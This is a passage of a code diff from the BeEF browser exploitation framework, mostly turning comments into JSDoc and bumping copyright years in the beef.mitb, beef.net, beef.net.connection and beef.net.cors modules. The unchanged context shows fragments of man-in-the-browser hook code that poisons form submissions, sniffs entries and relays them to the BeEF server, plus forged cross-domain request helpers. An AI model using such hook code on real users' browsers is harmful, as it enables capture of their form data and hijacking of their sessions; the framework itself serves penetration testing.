poisonForm:function (form) {
form.onsubmit = function (e) {
@@ -154,7 +157,7 @@ beef.mitb = {
}
},
// Fetches a hooked form with AJAX
/** Fetches a hooked form with AJAX */
fetchForm:function (url, query, target) {
try {
var y = new XMLHttpRequest();
@@ -174,7 +177,7 @@ beef.mitb = {
}
},
// Fetches a hooked link with AJAX
/** Fetches a hooked link with AJAX */
fetch:function (url, target) {
try {
var y = new XMLHttpRequest();
@@ -195,7 +198,7 @@ beef.mitb = {
}
},
// Fetches a window.location=http://domainname.com and setting up history
/** Fetches a window.location=http://domainname.com and setting up history */
fetchOnclick:function (url) {
try {
var target = document.getElementsByTagName("html")[0];
@@ -225,7 +228,7 @@ beef.mitb = {
}
},
// Relays an entry to the framework
/** Relays an entry to the framework */
sniff:function (result) {
try {
beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
@@ -234,7 +237,7 @@ beef.mitb = {
return true;
},
// Signals the Framework that the user has lost the hook
/** Signals the Framework that the user has lost the hook */
endSession:function () {
beef.mitb.sniff("Window closed.");
}

View File

@@ -1,12 +1,10 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net
*
/**
* Provides basic networking functions,
* like beef.net.request and beef.net.forgeRequest,
* used by BeEF command modules and the Requester extension,
@@ -15,6 +13,8 @@
*
* Also, it contains the core methods used by the XHR-polling
* mechanism (flush, queue)
* @namespace beef.net
*
*/
beef.net = {
@@ -82,11 +82,11 @@ beef.net = {
/**
* Queues the specified command results.
* @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id
* @param: {String} results: the data to send
* @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param: {Function} callback: the function to call after execution
* @param {String} handler the server-side handler that will be called
* @param {Integer} cid command id
* @param {String} results the data to send
* @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param {Function} callback the function to call after execution
*/
queue: function (handler, cid, results, status, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
@@ -105,12 +105,12 @@ beef.net = {
* NOTE: Always send Browser Fingerprinting results
* (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
* even if WebSockets are enabled.
* @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id
* @param: {String} results: the data to send
* @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param: {Function} callback: the function to call after execution
* @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
* @param {String} handler the server-side handler that will be called
* @param {Integer} cid command id
* @param {String} results the data to send
* @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param {Function} callback the function to call after execution
* @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)
*/
send: function (handler, cid, results, exec_status, callback) {
// defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
@@ -173,8 +173,8 @@ beef.net = {
/**
* Split the input data into chunk lengths determined by the amount parameter.
* @param: {String} str: the input data
* @param: {Integer} amount: chunk length
* @param {String} str the input data
* @param {Integer} amount chunk length
*/
chunk: function (str, amount) {
if (typeof amount == 'undefined') n = 2;
@@ -184,7 +184,7 @@ beef.net = {
/**
* Push the input stream back to the BeEF server-side components.
* It uses beef.net.request to send back the data.
* @param: {Object} stream: the stream object to be sent back.
* @param {Object} stream the stream object to be sent back.
*/
push: function (stream, callback) {
//need to implement wait feature here eventually
@@ -203,18 +203,18 @@ beef.net = {
/**
* Performs http requests
* @param: {String} scheme: HTTP or HTTPS
* @param: {String} method: GET or POST
* @param: {String} domain: bindshell.net, 192.168.3.4, etc
* @param: {Int} port: 80, 5900, etc
* @param: {String} path: /path/to/resource
* @param: {String} anchor: this is the value that comes after the # in the URL
* @param: {String} data: This will be used as the query string for a GET or post data for a POST
* @param: {Int} timeout: timeout the request after N seconds
* @param: {String} dataType: specify the data return type expected (ie text/html/script)
* @param: {Function} callback: call the callback function at the completion of the method
* @param {String} scheme HTTP or HTTPS
* @param {String} method GET or POST
* @param {String} domain bindshell.net, 192.168.3.4, etc
* @param {Int} port 80, 5900, etc
* @param {String} path /path/to/resource
* @param {String} anchor this is the value that comes after the # in the URL
* @param {String} data This will be used as the query string for a GET or post data for a POST
* @param {Int} timeout timeout the request after N seconds
* @param {String} dataType specify the data return type expected (ie text/html/script)
* @param {Function} callback call the callback function at the completion of the method
*
* @return: {Object} response: this object contains the response details
* @return {Object} this object contains the response details
*/
request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
//check if same domain or cross domain
@@ -307,7 +307,7 @@ beef.net = {
return response;
},
/*
/**
* Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
* - requestid: needed on the callback
* - allowCrossDomain: set cross-domain requests as allowed or blocked
@@ -490,8 +490,9 @@ beef.net = {
return response;
},
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
/** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
* http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
*/
clean: function (r) {
if (this.array_has_string_key(r)) {
var obj = {};
@@ -502,7 +503,7 @@ beef.net = {
return r;
},
//Detects if an array has a string key
/** Detects if an array has a string key */
array_has_string_key: function (arr) {
if ($j.isArray(arr)) {
try {

View File

@@ -1,19 +1,22 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// beef.net.connection - wraps Mozilla's Network Information API
// https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
// https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
/**
* beef.net.connection - wraps Mozilla's Network Information API
* https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
* https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
* @namespace beef.net.connection
*/
beef.net.connection = {
/* Returns the connection type
* @example: beef.net.connection.type()
* @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
* @return: {String} connection type or 'unknown'.
**/
/**
* Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
* @example beef.net.connection.type()
* @return {String} connection type or 'unknown'.
*/
type: function () {
try {
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
@@ -25,11 +28,11 @@ beef.net.connection = {
}
},
/* Returns the maximum downlink speed of the connection
* @example: beef.net.connection.downlinkMax()
* @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
* @return: {String} downlink max or 'unknown'.
**/
/**
* Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
* @example beef.net.connection.downlinkMax()
* @return {String} downlink max or 'unknown'.
*/
downlinkMax: function () {
try {
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;

View File

@@ -1,3 +1,7 @@
/**
* @namespace beef.net.cors
*/
beef.net.cors = {
handler: "cors",

Some files were not shown because too many files have changed in this diff Show More